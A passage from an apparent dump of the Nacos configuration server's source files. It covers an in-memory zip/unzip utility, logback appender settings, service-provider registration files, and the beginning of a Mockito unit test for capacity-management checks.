    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipInputStream;\nimport java.util.zip.ZipOutputStream;\n\n/**\n * ZipUtils for import and export.\n *\n * @author klw\n * @date 2019/5/14 16:59\n */\npublic class ZipUtils {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ZipUtils.class);\n    \n    public static class ZipItem {\n        \n        private String itemName;\n        \n        private String itemData;\n        \n        public ZipItem(String itemName, String itemData) {\n            this.itemName = itemName;\n            this.itemData = itemData;\n        }\n        \n        public String getItemName() {\n            return itemName;\n        }\n        \n        public void setItemName(String itemName) {\n            this.itemName = itemName;\n        }\n        \n        public String getItemData() {\n            return itemData;\n        }\n        \n        public void setItemData(String itemData) {\n            this.itemData = itemData;\n        }\n    }\n    \n    public static class UnZipResult {\n        \n        private List<ZipItem> zipItemList;\n        \n        private ZipItem metaDataItem;\n        \n        public UnZipResult(List<ZipItem> zipItemList, ZipItem metaDataItem) {\n            this.zipItemList = zipItemList;\n            this.metaDataItem = metaDataItem;\n        }\n        \n        public List<ZipItem> getZipItemList() {\n            return zipItemList;\n        }\n        \n        public void setZipItemList(List<ZipItem> zipItemList) {\n            this.zipItemList = zipItemList;\n        }\n        \n        public ZipItem getMetaDataItem() {\n            return metaDataItem;\n        }\n        \n        public void setMetaDataItem(ZipItem metaDataItem) {\n            this.metaDataItem = metaDataItem;\n        }\n    }\n    \n    /**\n     * zip method.\n     */\n    public static byte[] zip(List<ZipItem> source) {\n        byte[] result = null;\n        try (ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); ZipOutputStream zipOut = new ZipOutputStream(\n                byteOut)) {\n            for (ZipItem item : source) {\n                zipOut.putNextEntry(new ZipEntry(item.getItemName()));\n                zipOut.write(item.getItemData().getBytes(StandardCharsets.UTF_8));\n            }\n            zipOut.flush();\n            zipOut.finish();\n            result = byteOut.toByteArray();\n        } catch (IOException e) {\n            LOGGER.error(\"an error occurred while compressing data.\", e);\n        }\n        return result;\n    }\n    \n    /**\n     * unzip method.\n     */\n    public static UnZipResult unzip(byte[] source) {\n        List<ZipItem> itemList = new ArrayList<>();\n        ZipItem metaDataItem = null;\n        try (ZipInputStream zipIn = new ZipInputStream(new ByteArrayInputStream(source))) {\n            ZipEntry entry;\n            while ((entry = zipIn.getNextEntry()) != null) {\n                if (entry.isDirectory()) {\n                    continue;\n                }\n                try (ByteArrayOutputStream out = new ByteArrayOutputStream()) {\n                    byte[] buffer = new byte[1024];\n                    int offset;\n                    while ((offset = zipIn.read(buffer)) != -1) {\n                        out.write(buffer, 0, offset);\n                    }\n                    String entryName = entry.getName();\n                    if (metaDataItem == null && Constants.CONFIG_EXPORT_METADATA.equals(entryName)) {\n                        metaDataItem = new ZipItem(entryName, out.toString(\"UTF-8\"));\n                        continue;\n                    }\n                    if (metaDataItem == null && Constants.CONFIG_EXPORT_METADATA_NEW.equals(entryName)) {\n                        metaDataItem = new ZipItem(entryName, out.toString(\"UTF-8\"));\n                        continue;\n                    }\n                    itemList.add(new ZipItem(entryName, out.toString(\"UTF-8\")));\n                } catch (IOException e) {\n                    LOGGER.error(\"unzip error\", e);\n                }\n            }\n        } catch (IOException e) {\n            LOGGER.error(\"unzip error\", e);\n        }\n        return new UnZipResult(itemList, metaDataItem);\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/resources/META-INF/logback/config-included.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<included>\n    <springProperty scope=\"context\" name=\"logPath\" source=\"nacos.logs.path\" defaultValue=\"${user.home}/nacos/logs\"/>\n    <property name=\"LOG_HOME\" value=\"${logPath}\"/>\n    <appender name=\"dumpFile\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-dump.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-dump.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>2GB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>7GB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <appender name=\"pullFile\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-pull.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-pull.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>20MB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>128MB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <appender name=\"fatalFile\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-fatal.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-fatal.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>20MB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>128MB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <appender name=\"memoryFile\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-memory.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-memory.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>20MB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>128MB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n    <appender name=\"pullCheckFile\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-pull-check.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-pull-check.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>1GB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>3GB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%msg%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <appender name=\"aclLog\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-acl.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-acl.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>50MB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>512MB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <appender name=\"clientLog\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-client-request.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-client-request.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>2GB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>7GB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date|%msg%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <appender name=\"sdkLog\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-sdk-request.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-sdk-request.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>1GB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>3GB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date|%msg%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <appender name=\"traceLog\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-trace.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-trace.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>2GB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>7GB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date|%msg%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <appender name=\"notifyLog\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-notify.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-notify.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>1GB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>3GB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <appender name=\"appCollectorLog\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-app.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-app.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>20MB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>128MB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <appender name=\"startLog\"\n              class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n        <file>${LOG_HOME}/config-server.log</file>\n        <append>true</append>\n        <rollingPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\">\n            <fileNamePattern>${LOG_HOME}/config-server.log.%d{yyyy-MM-dd}.%i</fileNamePattern>\n            <maxFileSize>50MB</maxFileSize>\n            <maxHistory>15</maxHistory>\n            <totalSizeCap>512MB</totalSizeCap>\n            <cleanHistoryOnStart>true</cleanHistoryOnStart>\n        </rollingPolicy>\n        <encoder>\n            <Pattern>%date %level %msg%n%n</Pattern>\n            <charset>UTF-8</charset>\n        </encoder>\n    </appender>\n\n    <logger name=\"com.alibaba.nacos.config.dumpLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"dumpFile\"/>\n    </logger>\n    <logger name=\"com.alibaba.nacos.config.pullLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"pullFile\"/>\n    </logger>\n    <logger name=\"com.alibaba.nacos.config.pullCheckLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"pullCheckFile\"/>\n    </logger>\n    <logger name=\"com.alibaba.nacos.config.fatal\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"fatalFile\"/>\n    </logger>\n    <logger name=\"com.alibaba.nacos.config.monitorLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"memoryFile\"/>\n    </logger>\n\n    <logger name=\"com.alibaba.nacos.config.aclLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"aclLog\"/>\n    </logger>\n\n    <logger name=\"com.alibaba.nacos.config.clientLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"clientLog\"/>\n    </logger>\n\n    <logger name=\"com.alibaba.nacos.config.sdkLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"sdkLog\"/>\n    </logger>\n\n    <logger name=\"com.alibaba.nacos.config.notifyLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"notifyLog\"/>\n    </logger>\n\n    <logger name=\"com.alibaba.nacos.config.traceLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"traceLog\"/>\n    </logger>\n\n    <logger name=\"com.alibaba.nacos.config.appCollectorLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"appCollectorLog\"/>\n    </logger>\n\n    <logger name=\"com.alibaba.nacos.config.startLog\" additivity=\"false\" level=\"INFO\">\n        <appender-ref ref=\"startLog\"/>\n    </logger>\n\n\n</included>\n\n"
  },
  {
    "path": "config/src/main/resources/META-INF/services/com.alibaba.nacos.config.server.model.gray.GrayRule",
    "content": "#\n#\n# Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#\n\ncom.alibaba.nacos.config.server.model.gray.BetaGrayRule\ncom.alibaba.nacos.config.server.model.gray.TagGrayRule"
  },
  {
    "path": "config/src/main/resources/META-INF/services/com.alibaba.nacos.config.server.service.query.ConfigQueryChainRequestExtractor",
    "content": "#\n# Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.config.server.service.query.DefaultChainRequestExtractor"
  },
  {
    "path": "config/src/main/resources/META-INF/services/com.alibaba.nacos.config.server.service.query.ConfigQueryHandlerChainBuilder",
    "content": "#\n# Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.config.server.service.query.DefaultConfigQueryHandlerChainBuilder"
  },
  {
    "path": "config/src/main/resources/META-INF/services/com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.config.server.paramcheck.ConfigDefaultHttpParamExtractor\ncom.alibaba.nacos.config.server.paramcheck.ConfigBlurSearchHttpParamExtractor\ncom.alibaba.nacos.config.server.paramcheck.ConfigListenerHttpParamExtractor"
  },
  {
    "path": "config/src/main/resources/META-INF/services/com.alibaba.nacos.plugin.control.connection.ConnectionMetricsCollector",
    "content": "#\n#\n# Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#\n\ncom.alibaba.nacos.config.server.service.LongPollingConnectionMetricsCollector"
  },
  {
    "path": "config/src/main/resources/META-INF/services/com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.config.server.filter.ConfigEnabledFilter"
  },
  {
    "path": "config/src/main/resources/META-INF/services/com.alibaba.nacos.sys.module.ModuleStateBuilder",
    "content": "#\n#\n# Copyright 1999-2021 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n#\n\ncom.alibaba.nacos.config.server.constant.ConfigModuleStateBuilder\n"
  },
  {
    "path": "config/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.context.ApplicationContextInitializer=\\\n  com.alibaba.nacos.config.server.utils.PropertyUtil"
  },
  {
    "path": "config/src/main/resources/version/version.txt",
    "content": "${project.version}\n"
  },
  {
    "path": "config/src/test/java/com/alibaba/nacos/config/server/aspect/CapacityManagementAspectTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.aspect;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.config.server.constant.CounterMode;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.capacity.GroupCapacity;\nimport com.alibaba.nacos.config.server.model.capacity.NamespaceCapacity;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.service.capacity.CapacityService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.plugin.datasource.constants.CommonConstant;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\nimport org.springframework.test.context.junit.jupiter.SpringExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.anyBoolean;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(SpringExtension.class)\nclass CapacityManagementAspectTest {\n    \n    final Boolean mockProceedingJoinPointResult = true;\n    \n    final String mockDataId = \"mockDataId\";\n    \n    final String mockGroup = \"mockGroup\";\n    \n    final String mockTenant = \"mockTenant\";\n    \n    @Mock\n    private ConfigForm configForm;\n    \n    @Mock\n    private ConfigRequestInfo configRequestInfo;\n    \n    @Mock\n    ProceedingJoinPoint proceedingJoinPoint;\n    \n    @Mock\n    ProceedingJoinPoint localMockProceedingJoinPoint;\n    \n    RuntimeException mockException = new RuntimeException(\"mock exception\");\n    \n    CapacityManagementAspect capacityManagementAspect;\n    \n    @Mock\n    CapacityService capacityService;\n    \n    @Mock\n    ConfigInfoPersistService configInfoPersistService;\n    \n    MockedStatic<PropertyUtil> propertyUtilMockedStatic;\n    \n    MockedStatic<EnvUtil> envUtilMockedStatic;\n    \n    @BeforeEach\n    void before() throws Throwable {\n        // Mock static methods\n        propertyUtilMockedStatic = Mockito.mockStatic(PropertyUtil.class);\n        when(PropertyUtil.getCorrectUsageDelay()).thenReturn(10 * 60);\n        when(PropertyUtil.getDefaultMaxAggrSize()).thenReturn(1024);\n        when(PropertyUtil.getDefaultMaxSize()).thenReturn(10 * 1024);\n        \n        envUtilMockedStatic = Mockito.mockStatic(EnvUtil.class);\n        when(EnvUtil.getProperty(CommonConstant.NACOS_PLUGIN_DATASOURCE_LOG, Boolean.class, false)).thenReturn(true);\n        \n        // Initialize the aspect with mocked dependencies\n        capacityManagementAspect = new CapacityManagementAspect(configInfoPersistService, capacityService);\n        \n        // Mock the behavior of the ProceedingJoinPoint\n        mockException = new RuntimeException(\"mock exception\");\n        when(localMockProceedingJoinPoint.proceed()).thenThrow(mockException);\n    }\n    \n    @AfterEach\n    void after() {\n        // Close static mocks\n        propertyUtilMockedStatic.close();\n        envUtilMockedStatic.close();\n    }\n    \n    @Test\n    void testAroundPublishConfigForInsertAspect() throws Throwable {\n        //test with insert\n        //condition:\n        //  1. has tenant: true\n        //  2. capacity limit check: false\n        when(PropertyUtil.isManageCapacity()).thenReturn(false);\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult); \n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n        Mockito.verify(configInfoPersistService, Mockito.times(0)).findConfigInfo(any(), any(), any());\n        assert localMockResult.equals(mockProceedingJoinPointResult);\n    }\n    \n    @Test\n    void testAroundPublishConfigForInsertAspect1() throws Throwable {\n        //test with insert\n        //condition:\n        //  1. has tenant: true\n        //  2. capacity limit check: true\n        //  3. over cluster quota: true\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(mockDataId);\n        when(configForm.getGroup()).thenReturn(mockGroup);\n        when(configForm.getNamespaceId()).thenReturn(mockTenant);\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(false);\n        \n        Exception exception = assertThrows(NacosException.class, () -> {\n            capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        });\n        \n        assertEquals(\"Configuration limit exceeded [group=mockGroup, namespaceId=mockTenant].\",\n                exception.getMessage());\n        Mockito.verify(proceedingJoinPoint, Mockito.times(0)).proceed();\n    }\n    \n    @Test\n    void testAroundPublishConfigForInsertAspect2Tenant() throws Throwable {\n        //test with insert\n        //condition:\n        //  1. has tenant: true\n        //  2. capacity limit check: true\n        //  3. over cluster quota: false\n        //  4. tenant capacity: null\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult); \n        when(configForm.getDataId()).thenReturn(mockDataId);\n        when(configForm.getGroup()).thenReturn(mockGroup);\n        when(configForm.getNamespaceId()).thenReturn(mockTenant);\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        \n        when(capacityService.getTenantCapacity(eq(mockTenant))).thenReturn(null);\n        when(capacityService.updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant))).thenReturn(true);\n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        Mockito.verify(capacityService, Mockito.times(1)).initTenantCapacity(eq(mockTenant));\n        Mockito.verify(capacityService, Mockito.times(1)).updateTenantUsage(eq(CounterMode.INCREMENT), eq(mockTenant));\n        Mockito.verify(proceedingJoinPoint, Mockito.times(1)).proceed();\n    }\n    \n    @Test\n    void testAroundPublishConfigForInsertAspect2Group() throws Throwable {\n        //test with insert\n        //condition:\n        //  1. has tenant: false\n        //  2. capacity limit check: true\n        //  3. over cluster quota: false\n        //  4. group capacity: null\n        when(PropertyUtil.isManageCapacity()).thenReturn(true);\n        when(PropertyUtil.isCapacityLimitCheck()).thenReturn(true);\n        when(configInfoPersistService.findConfigInfo(any(), any(), any())).thenReturn(null);\n        when(capacityService.insertAndUpdateClusterUsage(any(), anyBoolean())).thenReturn(true);\n        when(capacityService.getGroupCapacity(eq(mockGroup))).thenReturn(null);\n        when(capacityService.updateGroupUsage(eq(CounterMode.INCREMENT), eq(mockGroup))).thenReturn(true);\n        \n        when(proceedingJoinPoint.getArgs()).thenReturn(new Object[]{configForm, configRequestInfo});\n        when(configForm.getDataId()).thenReturn(mockDataId);\n        when(configForm.getGroup()).thenReturn(mockGroup);\n        when(configForm.getContent()).thenReturn(\"content\");\n        when(configRequestInfo.getSrcIp()).thenReturn(\"127.0.0.1\");\n        when(configRequestInfo.getSrcType()).thenReturn(\"http\");\n        when(proceedingJoinPoint.proceed()).thenReturn(mockProceedingJoinPointResult); \n        \n        Boolean localMockResult = (Boolean) capacityManagementAspect.aroundPublishConfig(proceedingJoinPoint);\n        assertEquals(mockProceedingJoinPointResult, localMockResult);\n        